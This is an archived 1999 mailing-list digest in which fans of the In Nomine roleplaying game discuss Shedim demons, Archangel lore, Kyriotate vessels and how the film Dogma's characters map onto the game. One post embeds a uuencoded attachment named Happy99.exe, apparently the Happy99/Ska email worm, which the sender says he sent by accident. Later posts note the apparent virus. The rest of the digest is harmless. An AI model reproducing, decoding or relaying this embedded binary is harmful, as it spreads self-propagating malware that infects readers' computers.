From owner-in_nomine-digest@lists.io.com Fri Dec 10 14:34:28 1999 Return-Path: Received: from lists.io.com (majordom@lists.io.com [199.170.88.15]) by pyramid.sjgames.com (8.8.7/8.8.7) with ESMTP id OAA12304 for ; Fri, 10 Dec 1999 14:34:28 -0600 Received: (from majordom@localhost) by lists.io.com (8.9.3/8.9.1a) id OAA07976 for in_nomine-digest-outgoing; Fri, 10 Dec 1999 14:31:51 -0600 Date: Fri, 10 Dec 1999 14:31:51 -0600 Message-Id: <199912102031.OAA07976@lists.io.com> From: owner-in_nomine-digest@lists.io.com (in_nomine-digest) To: in_nomine-digest@lists.io.com Subject: in_nomine-digest V1 #1455 Reply-To: in_nomine-l@lists.io.com Sender: owner-in_nomine-digest@lists.io.com Errors-To: owner-in_nomine-digest@lists.io.com Precedence: bulk in_nomine-digest Friday, December 10 1999 Volume 01 : Number 1455 In this digest: Re: Shedim (was Re: IN> What Demons are Really After) Re: IN> What Demons are Really After RE: IN> The Archangels RE: IN> The Archangels RE: IN> The Archangels Re: IN> [NPC] Urgore, Shedite of the War RE: IN> The Archangels Re: IN> Kyriotates of Stone IN> Dogma Re: IN> Dogma Re: IN> Dogma Re: IN> Dogma Re: IN> Dogma Re: IN> Dogma Re: IN> Dogma Re: IN> Selfless Evil [was: What Demons are Really After] Re: IN> Dogma (Semi-Spoilers) Re: IN> Dogma (Semi-Spoilers) IN> Ignore my attachment! Re: IN> Dogma (Semi-Spoilers) Re: IN> Dogma (Semi-Spoilers) IN> Missing post? Re: IN> Dogma (Semi-Spoilers) Re: IN> Ignore my attachment! Re: IN> What Demons are Really After Re: IN> Kyriotates of Stone Re: IN> Kyriotates of Stone Re: IN> Dogma Re: IN> What Demons are Really After ---------------------------------------------------------------------- Date: Thu, 9 Dec 1999 20:09:34 -0500 (EST) From: Neel Krishnaswami Subject: Re: Shedim (was Re: IN> What Demons are Really After) Elizabeth McCoy wrote: >At 9:52 AM -0600 12/9/99, Dennis Groome V wrote: >>[...] but >>those small, little evils -- the ones that aren't really that much of a bad >>thing...boosting a pen, lying to a friend -- may stick, or at lest become a >>lot easier for the person to do without remorse. > >Which, come to think of it, means that Shedim are probably instructed >by their Princes _not_ to ride hosts into destruction and depravity. >Because a host might wallow in depravity after the Shedite leaves, or >might repent greatly -- but those little selfish actions, those are >more likely to stick and pave the way to a fate that leads the human >to Hell where the Princes can get their hands on the new Essence battery. As Screwtape told his nephew Wormwood: "Cards are as good as murder, if cards will do the trick." - -- Neel Krishnaswami neelk@alum.mit.edu ------------------------------ Date: Thu, 9 Dec 1999 20:57:33 -0500 (EST) From: Neel Krishnaswami Subject: Re: IN> What Demons are Really After Earl Wajenberg wrote: > >Neel Krishnaswami wrote: > >> Why is everyone so down on the Shedim? They aren't particularly worse >> than most people, and certainly aren't worse than most of the other IN >> demonic bands. > >Oh, but they are. Every Shedite on Earth has to make its host >a little more corrupt every day, or endure dissonance. No other >band has evil built into its game mechanics. Remember the write-up >for Bright Bands a while back? Shedim were the only band where >we argued over the possibility of going Bright without Redeeming. IIRC, I was arguing that it was clearly possible for them to do so. Apparently I have a soft spot for those little globs of evil gooey slime. I still think the Shedim's main problem is bad PR, mostly, since I don't think that the evil that they do is substantially worse than anyone who is self-centered and basically insensitive to others does. - -- Neel Krishnaswami neelk@alum.mit.edu ------------------------------ Date: Thu, 9 Dec 1999 19:35:45 -0600 From: "M Trent" Subject: RE: IN> The Archangels >Well, after God, the next most powerful being in teh universe is ... > >A Balseraph. Actually last time they crossed tails Michael won the contest of second most powerful being in the universe. What would happen if they fought today is anyone's guess... Trent Ofanite of Doubt ------------------------------ Date: Thu, 9 Dec 1999 18:40:05 -0700 From: Tim Groth Subject: RE: IN> The Archangels >>Well, after God, the next most powerful being in teh universe is ... >> >>A Balseraph. > >Actually last time they crossed tails Michael won the contest of second most >powerful being in the universe. What would happen if they fought today is >anyone's guess... Well actually Michael just succeded in tossing Lucifer out of Heaven. Which means he beat him in celestial combat, which may reflect more on Michaels prowress at combat as well as the fact that Lucifer was in the middle of being the first angel to Fall and feeling the shift in nature. Which probably wouldn't not help one in a fight. See Michael was never more powerful, he just had the advantage in their battle. You guys need to pay more attention when their teaching history in the Archives. Timothy, Angel of Rambling If you have a hankering for waffles or chicken i know the place for you: http://d106-h032.rh.rit.edu/~tim/ ------------------------------ Date: Thu, 9 Dec 1999 19:58:51 -0600 From: "M Trent" Subject: RE: IN> The Archangels >See Michael was never more powerful, he just had the advantage in their >battle. You guys need to pay more attention when their teaching history in >the Archives. That is on version of what happened and the Demonic Party Line, though if you believe demonics... Trent Ofanite of Doubt ------------------------------ Date: Thu, 9 Dec 1999 21:25:53 -0500 (EST) From: "Rev. Pee Kitty" Subject: Re: IN> [NPC] Urgore, Shedite of the War Nice. VERY nice... the most honorable Shedite I've ever run across. You know, he'd make a great Kyrio of Gabriel if he were to redeem.... - -- Rev. Pee Kitty, of the order Malkavian-Dobbsian Meow! And finally, a special message to \|/ ____ \|/ anyone who thinks I give a damn... ~@-/ oO \-@~ /_( \__/ )_\ \__U_/ ------------------------------ Date: Thu, 9 Dec 1999 21:26:07 -0500 From: Whistling in the Dark Subject: RE: IN> The Archangels At 6:40 PM -0700 12/9/99, Tim Groth wrote: >See Michael was never more powerful, he just had the advantage in their >battle. You guys need to pay more attention when their teaching history in >the Archives. The Library, surely, Angel of Rambling. Though Archives may make more sense. They say that in Hell, I'm sure. Though I, of course, would never know.... - -- Eric Alfred Burns - Habbalah of Belaboring the Point ------------------------------ Date: Thu, 9 Dec 1999 21:38:31 -0500 (EST) From: Diane J Donaldson Subject: Re: IN> Kyriotates of Stone Elizabeth wrote: > At 8:56 AM -0500 12/9/99, Diane J Donaldson wrote: > >Suppose a Kyriotate of Stone wants to design its own stone vessel, > >sometime after character creation. How much essence would it cost? > > Unless he's in Limbo, 0 -- he has to get his Archangel to make it > for him. (Yes, the main book has some bad phrasing. For a while > there, from some old drafts of the game I've seen, Essence _was_ > character points in a funky way! So if you bought a vessel, you > paid out Essence...) > Harumph. I hate to start crossing out lines in my nice new GMG already... p. 18: "It's said only Superiors can create a vessel, but this isn't precisely true -- anyone can learn how to do it. All you need is enough Essence, and corporeal matter to animate...What's really difficult, though, is breathing life into the creation...Furthermore, only a Superior can attach a celestial to a vessel...even if a celestial somehow gathers enough Essence, and creates a suitable vessel, he will still need a Superior to complete the final steps." I thought it would be rather interesting to let a Kyrio with Stone's attunement, as well as Artistry (Sculpture), carve its own vessel over a few months of between-adventures time. Then, when it's done, the Kyrio can call on David and ask for it to be animated and attached. Stone seems particularly suited to using a little Essence at a time to create a vessel. I mean, if it was regular flesh and blood, you would have to keep all those body parts in your refrigerator while you worked on it over a long period of time. ("Hey, what's in the Tupperware?" "LEAVE THAT ALONE!") David still has to be involved, and can say no if the vessel is particularly egregious; and he certainly wouldn't want to be bothered with animating/attaching a new vessel every month. But once in a while? I think it could work. > Getting out of Limbo, I'm with Walter -- the vessel will have to > contain every Force the Kyriotate has. (Hey, the Kyrio is lucky -- > most Dominations just die if they get stuck without a host and > are Outcast... And any Kyriotate worth its salt has a good Will, > so sticking around in Limbo won't be as hard for it as it might > be for other Choirs.) But the Kyrio *isn't* in Limbo. I agree, if it was, it should have to make one for all of its Forces. If this is way outside canon, I guess I'll just make something up. djd ------------------------------ Date: Thu, 09 Dec 1999 23:14:43 -0500 From: Dan Weaver Subject: IN> Dogma Has anybody used the characters from Dogma in a game of IN? NPC material, you know... Loki, Outcast Seraph of Dominic Bartleby, Outcast Elohite of Dominic Rufus, Saint Jay, Soldier of Janus Silent Bob, Soldier of Yves Metatron, Seraph of Litheroy (ought to be an Archangel but oh well.) Serendipity, Mercurian of Eli Azrael, Habbalite of Nybbas The Three Roller Hockey Players, Shedite of Nybbas Have fun...I know I'd die laughing if Silent Bob and Jay showed up in a game. Dan ------------------------------ Date: Thu, 9 Dec 1999 22:32:50 -0600 From: "Prodigal" Subject: Re: IN> Dogma From: "Dan Weaver" > Has anybody used the characters from Dogma in a game of IN? NPC > material, you know... > > Loki, Outcast Seraph of Dominic I saw him as a Malakite, actually. The "You didn't say God Bless You" scene left me unable to see him as anything but. > Bartleby, Outcast Elohite of Dominic I prefer him as a Grigori. That would be yet another reason why he got Loki kicked out of Heaven, after all. *g* ------------------------------ Date: Fri, 10 Dec 1999 00:04:28 -0500 From: Dan Weaver Subject: Re: IN> Dogma > > Loki, Outcast Seraph of Dominic > > I saw him as a Malakite, actually. The "You didn't say God Bless You" scene > left me unable to see him as anything but. > Wow. I managed to confuse the Seraph and Malakite resonance. That takes skill. :) Now how does a Malakite of Dominic get outcast? > > Bartleby, Outcast Elohite of Dominic > > I prefer him as a Grigori. That would be yet another reason why he got Loki > kicked out of Heaven, after all. *g* He was literally a Grigori in the movie. I dunno. He seemed more like an impartial referee for Loki than an 'Earthly shepherd for the first humans' to me though. "It's not my fault I'm not studying for finals - I've got a bad relationship with a Shedite of Kronos!" -- Me Dan ------------------------------ Date: Fri, 10 Dec 1999 00:11:13 -0500 (EST) From: "Rev. Pee Kitty" Subject: Re: IN> Dogma DOGMA SPOILERS BELOW! On Thu, 9 Dec 1999, Dan Weaver wrote: > Has anybody used the characters from Dogma in a game of IN? NPC > material, you know... I must admit, I have to agree with you, but disagree with you on most of your translations... > Loki, Outcast Seraph of Dominic Definitely a Malakite, but yes, of Dominic. > Bartleby, Outcast Elohite of Dominic Elohite? He was using the Mercurian resonance through the entire movie. He just turned into a particularly discordant and crazy Impudite. > Rufus, Saint Of Yves, I think. > Jay, Soldier of Janus > Silent Bob, Soldier of Yves Yves? I would say Michael, based on the movie. Bob kicked some BUTT. > Metatron, Seraph of Litheroy (ought to be an Archangel but oh well.) > Serendipity, Mercurian of Eli I was actually thinking Menumin of Eli... the weird choir from The Marches. > Azrael, Habbalite of Nybbas > The Three Roller Hockey Players, Shedite of Nybbas Nybbas? Naw. Saminga's more likely. And those kids were demonlings, more likely to fledge Calabim than anything. That's what was the most fun about this movie... picking out all the IN stuff. It was like an IN adventure brought to the big screen... ------------------------------ Date: Thu, 9 Dec 1999 23:57:05 -0600 From: "Prodigal" Subject: Re: IN> Dogma From: "Dan Weaver" > > > > Loki, Outcast Seraph of Dominic > > > > I saw him as a Malakite, actually. The "You didn't say God Bless You" scene > > left me unable to see him as anything but. > > Wow. I managed to confuse the Seraph and Malakite resonance. That > takes skill. :) Now how does a Malakite of Dominic get outcast? They explained it pretty well in the movie. But how a Malakim could be persuaded to quit his job in quite the way he did, I have no idea... *g* > > > Bartleby, Outcast Elohite of Dominic > > > > I prefer him as a Grigori. That would be yet another reason why he got Loki > > kicked out of Heaven, after all. *g* > > He was literally a Grigori in the movie. I dunno. He seemed more like > an impartial referee for Loki than an 'Earthly shepherd for the first > humans' to me though. Given the way he was able to tell at a glance exactly what was transpiring between the humans he spied on, and how he liked to spy on them in the first place, for me he worked as a Grigori. ------------------------------ Date: Thu, 9 Dec 1999 23:58:49 -0600 From: "Prodigal" Subject: Re: IN> Dogma From: "Rev. Pee Kitty" > > That's what was the most fun about this movie... picking out all the IN > stuff. It was like an IN adventure brought to the big screen... I saw it with a friend, and I described it in IN terms as we left the theatre... ------------------------------ Date: Thu, 09 Dec 1999 23:48:52 PST From: "Perry Lloyd" Subject: Re: IN> Dogma >DOGMA SPOILERS BELOW! > > > >On Thu, 9 Dec 1999, Dan Weaver wrote: > > > Has anybody used the characters from Dogma in a game of IN? NPC > > material, you know... > >I must admit, I have to agree with you, but disagree with you on most of >your translations... > > > Loki, Outcast Seraph of Dominic > >Definitely a Malakite, but yes, of Dominic. > > > Bartleby, Outcast Elohite of Dominic > >Elohite? He was using the Mercurian resonance through the entire movie. He >just turned into a particularly discordant and crazy Impudite. I dunno, Pee Kitty, if he had become an Impudite, he wouldn't have been drawn to kill so. I'd prefer to think of him as a Grigori, myself. > > Rufus, Saint > >Of Yves, I think. > > Jay, Soldier of Janus > > Silent Bob, Soldier of Yves > >Yves? I would say Michael, based on the movie. Bob kicked some BUTT. After all, without Michael, Heaven's greatest battles would be lost. OTOH, Silent Bob doesn't FEEL all that War to me. Didn't he retreat from combat in Mall Rats? Maybe Yves, maybe . . . Eli? Don't know why Eli comes to mind. Perhaps . . . because he's also the Director. :) > > Metatron, Seraph of Litheroy (ought to be an Archangel but oh well.) Technically he's dead in the In Nomine universe, but who cares. > > Serendipity, Mercurian of Eli > >I was actually thinking Menumin of Eli... the weird choir from The >Marches. Maybe a minor choir of Eli, a Muse. Having the resonance to spark creativity, but unable to have many ideas themselves. > > Azrael, Habbalite of Nybbas > > The Three Roller Hockey Players, Shedite of Nybbas > >Nybbas? Naw. Saminga's more likely. And those kids were demonlings, more >likely to fledge Calabim than anything. > >That's what was the most fun about this movie... picking out all the IN >stuff. It was like an IN adventure brought to the big screen... Hell yeah! - -Perry perrylloyd@hotmail.com "Plots and Plans. What everyone should have to cook with." - Elizabeth McCoy (personal interview 3/23/99) ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ------------------------------ Date: Fri, 10 Dec 1999 00:48:20 PST From: "Perry Lloyd" Subject: Re: IN> Selfless Evil [was: What Demons are Really After] Neel writes: >I still think the Shedim's main problem is bad PR, mostly, since I >don't think that the evil that they do is substantially worse than >anyone who is self-centered and basically insensitive to others does. So here I am, thinking of Shedim and recalling the statement to the effect that they were the demons most likely to be at concert screaming at the top of their lungs, "Hell-fire, I serve YOU!!" This merged with a concept that kinda floating in, I believe, from the world of the Star Wars RPG, in which, if your Jedi turns to the Dark Side, the player loses control of his character, because it is now controlled by the dark side. The product of this unlikely meeting (mating?) was the idea of a being who so selflessed served EVIL that it had effectively no will of its own, only acting as a channel for EVIL. - -Perry perrylloyd@hotmail.com "Plots and Plans. What everyone should have to cook with." - Elizabeth McCoy (personal interview 3/23/99) ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ------------------------------ Date: Fri, 10 Dec 1999 08:20:38 -0500 From: "Gregory Gietzen" Subject: Re: IN> Dogma (Semi-Spoilers) > After all, without Michael, Heaven's greatest battles would be lost. > OTOH, Silent Bob doesn't FEEL all that War to me. Didn't he retreat from > combat in Mall Rats? Maybe Yves, maybe . . . Eli? Don't know why Eli comes > to mind. Perhaps . . . because he's also the Director. :) Well, think of it this way. He used "Knocks out strong odors" to kill that disgusting demon. And while it doesn't take Eli's influence to turn a golf-club into a weapon, it certainly couldn't hurt. In Mallrats, he's able to find a Death-Star like weakness, capable of totalling a stage. (Granted, the plan doesn't work, but you see my point.) I also believe that Jay makes a comment that he turned his mom's vibrator into a stereo for a science fair project. While that could suggest Jean, it also doesn't rule out Eli. If you _really_ want to read too much into it, consider the fact that he always wears black. Is (almost) always silent. But is really good at killing demons with simple objects... Sounds like another recent conversation, n'est-ce pas? G Balseraph of the Game ------------------------------ Date: Fri, 10 Dec 1999 08:20:40 -0500 From: "Gregory Gietzen" Subject: Re: IN> Dogma (Semi-Spoilers) begin 644 Happy99.exe M35I0``(````$``\`__\``+@`````````0``:```````````````````````` M``````````````````````$``+H0``X?M`G-(;@!3,TAD)!4:&ES('!R;V=R M86T@;75S="!B92!R=6X@=6YD97(@5VEN,S(-"B0W```````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M````````````````````````````````````````55!%``!,`00`GR77C@`` M````````X`".@0L!`AD`"@```!8```````````$````!`````@```$`````! M```"```!``````````,`"@`````````%```$`````````@``````$```(``` M```0```0````````$``````````````````#`$`#```````````````````` M``````````````````0`:`$````````````````````````````````````` M```````````````````````````````````````````````````````````` M````````````0T]$10``````$``````!```*````!@`````````````````` M(```8$1!5$$``````!```````@``$````!```````````````````$```,`N M:61A=&$````0``````,```0````@``````````````````!```#`+G)E;&]C M````$``````$```"````)```````````````````0```4``````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M````````:`!X``!J0.C6"```A<`/A!T&``!0O^L.0@"K!6!M``"K!<@```"K M6%!04%^XE````*OHMP@``%Z#QA"M@_@`#X3L!0``OLD-0@!67[F5````K/;0 MJN+Z:,@```#_->\.0@#HC0@``(7`#X2W!0``H_<.0@!HR````/\U\PY"`&H` MZ%8(``"%P`^$F`4``(LU\PY"``/P@^X%K"3?/$%U"L<%B@]"`/____^^(PY" M`(L][PY"``,]]PY"`+D)````\Z1J`?\U[PY"`/\U\PY"`.CO!P``O@``0@"+ M/>L.0@"M/45.1"!T%3U:15)/=`7WT*OK[*V+R#/`\ZOKXXO/*PWK#D(`B0W[ M#D(`OAH.0@"+/>\.0@`#/?<.0@"Y"0```/.D,\!0:(````!J`E!0:````$#_ M->\.0@#HNP<``$`/A.L$``!(H_\.0@!J`&C[#D(`_S7[#D(`_S7K#D(`_S7_ M#D(`Z$('``"%P`^$M`0``+X-#D(`BSWO#D(``SWW#D(`N0T```#SI(LU[PY" M`(L]\PY"`(L-]PY"`(/!"?.DN'-K80"K:@'_-?,.0@#_->\.0@#H"@<``#/` M4&B`````:@-04&@```#`_S7O#D(`Z"0'``!`=5(SP/\UZPY"`&@'#T(`4&@_ M`!\`4%!0:"P.0@!H`@``@.@@!P``N`@```!0N",.0@!`4&H!:@!0_S4'#T(` MZ/T&``#_-0#D(`,\!04%!J!%#_-5X.0@#HI`8` M`(7`#X3/`P``HV8.0@`SP%!04&H&_S5F#D(`Z*D&``"%P`^$I0,``*-J#D(` MB_!F@3Y-6@^%DP,``(!^$GH/A(D#``#&1A)Z`W8\9H$^4$4/A7<#``")-7(. M0@!FBT8&9J-V#D(`,\EFBPUV#D(`9HM&%&:C>`Y"`(O>@\,8,\!F`P5X#D(` M`]B+`STN=&5X=",]+F5D870//2YD871T68/#*$EUX^M>BT,,*T,4HWH.0@#K MY/=#)"```&`/A"P#``"!2R0```"`B1V>#D(`BT,0BWL(*\<]R@````^"#`,` M`(M##(M3%"O"HWX.0@`#UXD5D@Y"`.N9BT,,*T,4HX(.0@#KFK^&#D(`BQ5Z M#D(`BUYXBS5J#D(`*]H#WHM#'"O"`\:KBT,@*\(#QJN+0R0KP@/&JXM+&#/2 MBS6*#D(`QP6B#D(``````(L>*QUZ#D(``QUJ#D(`BP,]8V]N;G0@/7-E;F1T M8D*#Q@1)==N#/:(.0@`"#X5Q`@``Z9(```"#PP2+`SUE8W0`==M25HL=C@Y" M`-'B`]HSP&:+`XLUA@Y"`,'@`@/PBP:CE@Y"`*&2#D(``P5^#D(`@\``B0;_ M!:(.0@!>6NN>@\,$B@,\`'654E:+'8X.0@#1X@/:,\!FBP.+-88.0@#!X`(# M\(L&HYH.0@"AD@Y"``,%?@Y"`(/`1XD&_P6B#D(`7EKI5?___XLUG@Y"`(%& M",H```!HJ@Y"`.A0!```A<`/A)H!``"CI@Y"`&BW#D(`_S6F#D(`Z#\$``"% MP`^$?0$``*/?#D(`:,0.0@#_-:8.0@#H(@0``(7`#X1@`0``H^,.0@!HT`Y" M`/\UI@Y"`.@%!```A<`/A$,!``"CYPY"`(L]D@Y"``,]:@Y"`.C*````G&#H M`````%^!Q[T```"+7"0LBD,#/!EU"(M$)"BJ1^L*/'=U&T>+1"0HJN@(```` M4VMA+F1L;`"X_______0JV&=Z0````"<8.@`````7H/&=F:MBUPD*#KC=!`Z MPW0"ZUOH#P```&UA:6P`Z`4```!N97=S`*U0N/______T(7`=#K_T#P!=#1F MD^@`````7H/&-%9?,\"`^TYU"D>JK#P`=1E&ZPV`^TUU$:I'1JP\`'4)K5"X M_______089WI`````````````%ZYR@```/.DH=\.0@")AV____^AYPY"`(E' MKZ'C#D(`B4?MBQ5^#D(`H9(.0@`#PH/`1BL%E@Y"`/?0B8=Y____H9(.0@`# MP@7#````*P6:#D(`]]")1_;_-6H.0@#HH@(``/\U9@Y"`.CE`@``_S5>#D(` MZ-H"``#_->L.0@#HU0(``(,]B@]"``!T!VK_Z(\"``!H``("`&I`Z)4"``"C MZPY"`&H`Z&4"``"C?@]"`*,;#T(`N.<'00"C#P]"`,<%+P]"`&L.0@!15E^#QQ2+1@BKBT8,JX$&`!```*T!1@2M M`48$K<'X$(O0K<'X$(O8K8/X`'4%@\8(ZTF`;OP!K<'X$(O0K<'X$%9J`%)0_S5C M#T(`Z-L!``!>@\8$64D/A7G_____!5,/0@#I-/___X,]-P]"`!)T%K@S#T(` M4%#HJ0$``.B&`0``Z17_____-6,/0@#_-8(/0@#H4@$``,<%B@]"`/_____I M/_[__UBCA@]"`(-\)`0"=0MJ`.@[`0``,\#K!>A*`0``BPV&#T(`4<.A3P]" M`(/@#Z-/#T(`P>`-BSWK#D(``_BY``$``.AF````P>@(HUL/0@#H60```,'H M"*-7#T(`Z$P```#!Z`@-#P^O`(O8Z#T```#!Z`^)!XE/!-M'!-G^V@_;1P39 M_]H/VQ_;7P2#QPBA5P]"`*NA6P]"`*N+PZN#QPSBR?\%3P]"`.EW_O__N!-` M(0#W+5\/0@`KT@41$%,"HU\/0@##_R5D`$,`_R5H`$,`_R5L`$,`_R5P`$,` M_R5T`$,`_R5X`$,`_R5\`$,`_R6``$,`_R6$`$,`_R6(`$,`_R6,`$,`_R60 M`$,`_R64`$,`_R68`$,`_R6<`$,`_R6@`$,`_R6D`$,`_R6H`$,`_R6P`$,` M_R6T`$,`_R6X`$,`_R7``$,`_R7$`$,`_R7(`$,`_R7,`$,`_R70`$,`_R74 M`$,`_R78`$,`_R7<`$,`_R7@`$,`_R7D`$,`_R7H`$,`_R7P`$,````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M`+*EK__]____^__P_P``__]'_________[__Y?]:15)/"````/_^__]%[__Q MX$OV,MY'_K,RWF]OJY>6C-^/C9"8C9Z2WY**C(O?G9K?C8J1WXJ1FYJ-WZB6 MD]/[]YO_U M____]____________O____[____]____O_____[___W___[__________/_U M__________G___O________]____6D523P(```#__^___^_________O____ M___[_Z________S_D_[__UI%4D\&````___Z_Q/___]:15)/%````+RPN[K_ M_____^_______O__]?____G__UI%4D\#````W___G[N^J[[______^______ M_?___?___^___UI%4D\#````O___/]&6FYZ+GO___^_______/___?___^W_ M_UI%4D\#````O___/]&:FYZ+GO___^______^____?___^O__UI%4D\#```` MO___O]&-FI.0G/___^______^O___?___^G__UI%4D\#````O___KUI%4D_0 M````?(/;]_^+LGR#V_?^B_T4L$'#_[W_J:!&RO___U,)+U4=!9?_W___E;\7 M9_?__WH_BOO,/Q310&;_O?]4^D?T__]4^D?T__]4^A?\__]4?#^;5!3T`,IF M_[W_%Y+W__]'_O___SWS_Q>4^O__?`:;\'AU____=/S:("`@(,*ROK:SBLUT MO/O:`"`@(,+?N:VPBMR9=+SWF=H@`)G"LL6*ZG0,=,)>_[W_=O+__[W_#%L6 M@/[__W3\VB`@("#"K;ROJXK(=+S[V@`@(`#"WZNPQ8K7%T_X__]V\OO_O?\7 M(O[__WP'__![MO[__SCZ:O^]_P`````6SO[__Q;*_O__%\'\__]\!__P>MC^ M__]TRF+_O?^94IG"___P>^K^__]\PFK_O?__\'H*____%U#[__]>?O^]_W3B M9O^]_Q>6^___?`<`\'L/____%T_[__]'^O___T3E_[W_%[/[__]\!P#P>RS_ M__\7!_G__\+-RL_?\'H\____1_G___]$]_^]_Q?;^___?`<`\'M4____%R_Y M___"S_[W_%P3\__]\!P#P>WW___\76/G__\+- MRL_?BHETRF+_O?]TZE[_O?]\%3^?__PLW*S]^*Q!0M1_G___]$\?^]_Q=E_/__?`<`B]H7M?G_ M_\+,RLO?BN8X^FK_O?______=,)B_[W_S#]41_[___\\1[*RLK(\%VW\__]\ M!IN-EA<,_O__?`?_BJ`7>/S__UY^_[W_=.)F_[W_%[[\__]\!P"+M!=S_/__ M1_K___]$Y?^]_Q?7_/__?`<`B\T7)_K__\+-R\_?BME'^?___T3K_[W_%_?\ M__]\!P"+[1='^O__PLS+S]^*^4?^____/$>QL;&Q/)]T%)6;`,I6_[W_%P[Z M__]Z/_![F/[__UR"_[W_09G_O?]TPE;_O?_\PH+_O?]&]/___PQ;E?^7?___ M_Y7[E?^5_Y?___\_`,I6_[W_%QKZ__^_\'O9_O__MUR*_[W_E\WK__^5OQ=C M^O__>C_P>_[^__]<>O^]_Y7_EX;_O?^7_^O__P#*>O^]_P#*BO^]_Q>!^O__ M>C_P>QW___]^PH;_O?__Z___C<@`RHK_O?\7=OK__Y7_EW____^5_97_E?^7 M____/P#*5O^]_Q>9^O__O_![6/___[=NJ`Q;F4?R]9E4H*:5_Y>&_[W_KJ@`RHK_O?\7'OO_ M_Q3B`,IZ_[W_%TG[__\`RHK_O?\7)/O__YY'`````#P`RGK_O?\79OO__P#* MBO^]_Q=!^___GLP_/)]T#'0!_`9T,'P^F\PMF73AF7X<("!T$9E^!+FMB[ET M"IE^!*RJBZQT"IE^!+&ZBX]T"IE^!+R\\'MF____=`J9?@2]O/![5O___W0* MF7X$\O7P>T;___]T"KG$#O!\&____Q16F5)2VB`@``#"L++%WXI4%RK___\4 M;)E24MH@("`@PKVUNKR*85+:(```_\*KQ=__BFX73?___Q:2````F5)2VB`@ M("#"J*RXK8I^4MH@("`@PK"JKZSP>H\```"94IG"Q=_P>IL````7@____Q;( M````F5)2V@``___"Q=____!ZJP```!>@____%N4```"94E+:(```_\*\Q=__ M\'J[````%[W___\6`@$``%+"\O7R]?!ZQ````*]'I]*LCU1'GI&,E%1'GL7? MIE291YJ,F51\/?&G5+V]=NI^_[W_GLP_/)Y'`````#QT"G3"9O^]__P%4U6] M?@5Y]/__B/O#]8H./'07E?^OK`#*Q7^__^W7([_O?^7V/^]_P#*CO^] M_Q>3_?__O_![/?[__[=C_P>XO^__]O^]_P#ZS_^]_T(7_/__?,+/ M_[W__HKY=-++_[W_=#IT(1=]`@``?`<`B_7\"@#RS_^]_XHK`,K<_[W_%UW_ M__\`RN#_O?\74/___P#*CO^]_Q=;____`,IZ_[W_%Y;___\\E?^5PP#*6O^] M_P#*3DY+F5X90T*8`T*96YD#0I< M4VMA+F5X90!<;&ES=&4NCX^6D9B^_____[B:BZR&C(N:DKN6C9JD[Z3DY"<_____[.0G)Z3N8V:FO___ZV:GINYEI.:_____[*>CZF6FHBP MF;F6DYK___^LFHNYEI.:KY"6D8N:C?____^JD9*>CZF6FHBPF;F6DYK___^H MC9:+FKF6DYK___^XFHNYEI.:K):%FO___[R-FIZ+FKF6DYJ^____O).0C)JW MGI&;DYK_6D523R@```##__O__O____W____]____U__[_\__^__'__O_F/_^ M_[_]_O^Y__O_M/_[_____O^2GIN3D]&[L[/_DIZ6D_^1FHB,_UI%4D]L```` M___^_Q/____NS\C/J<];SU7/)L\2S_#.WL[-SL?.JLZ"SE_.6/)TEQY7'C\=_QW7'3\=)QT/'/<WXF6C8J,T]^>WXB0C9+3WY[? MBXV0E9Z1P-^RL*JKTK*PJJO?MX:=C9:;W]>W\[&QL;1_Z.( MC)"T9N3D_^CK)2>T9J'FO^LD)F+B)Z-FJ.REIR-D(R0 MF8NCJ):1FY"(C*.\BHV-FI&+J9J-C):0D:.MBI&PD9R:_P`````````````` M```````````````````````````````````````````````````````````` M``````````````````````````!+15).14PS,BYD;&P`3&]A9$QI8G)A2!.97<@665A`@,`\`(# M``(#`P`0`P,`(`,#```````T`P,``````$M%4DY%3#,R+F1L;`!!1%9!4$DS M,BYD;&P`55-%4C,R+F1L;`!'1$DS,BYD;&P`````5W)I=&5&:6QE````56YM M87!6:65W3V9&:6QE````1V5T5VEN9&]W4$`````1V5T36]D M=6QE2&%N9&QE00````!#;W!Y1FEL94$```!'9710&ET4')O8V5S$$```!'9713>7-T96U$:7)E8W1O$$` M``!296=#;&]S94ME>0```%)E;&5A3%_,8PQDC&8,:LQL3'-,=TQXC'P,04R$C(=,BTR.S)-,EHR;#*; M,J4RKC*X,L8R\C(.,RXS-C-#,THS4#-9,X`SAC.2,Y@SM3/5,^0S\#/U,_LS M!C0;-"HT-C0[-$$T3#19-&4T=S1\-((TE#29-)\TL32V-+PTSC34--HTMC7! M-(U[S7\-0(-Y\WJC>R-\DWSS?:-^DW!C@-.!4X'C@R M.#\X=CA\.(LXFSBG.*XXM#BZ.,`XQCC,.-(XV#C>..0XZCCP./8X_#@".0@Y M#CD4.1HY(#DF.2PY,CDX.3XY1#E*.5`Y5CE<.6(Y:#EN.0`````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` *```````````````` ` end ------------------------------ Date: Fri, 10 Dec 1999 08:26:59 -0500 From: "Gregory Gietzen" Subject: IN> Ignore my attachment! Okay, I don't know why my e-mail chose to include an attachement with the last message. (If it does so for this one, I'm going to run silent until I can figure out why.) In any event, I had NO intention of sending that out. (It isn't anything evil, but there's no need to waste good bandwidth.) I offer my heartfelt apologies to anyone who is significantly annoyed by my transgression. Gregory ------------------------------ Date: Fri, 10 Dec 1999 07:29:15 -0600 From: "James Bearse" Subject: Re: IN> Dogma (Semi-Spoilers) Hey, who's sending virii to the list? Watch it! - ----- Original Message ----- From: Gregory Gietzen Sent: Friday, December 10, 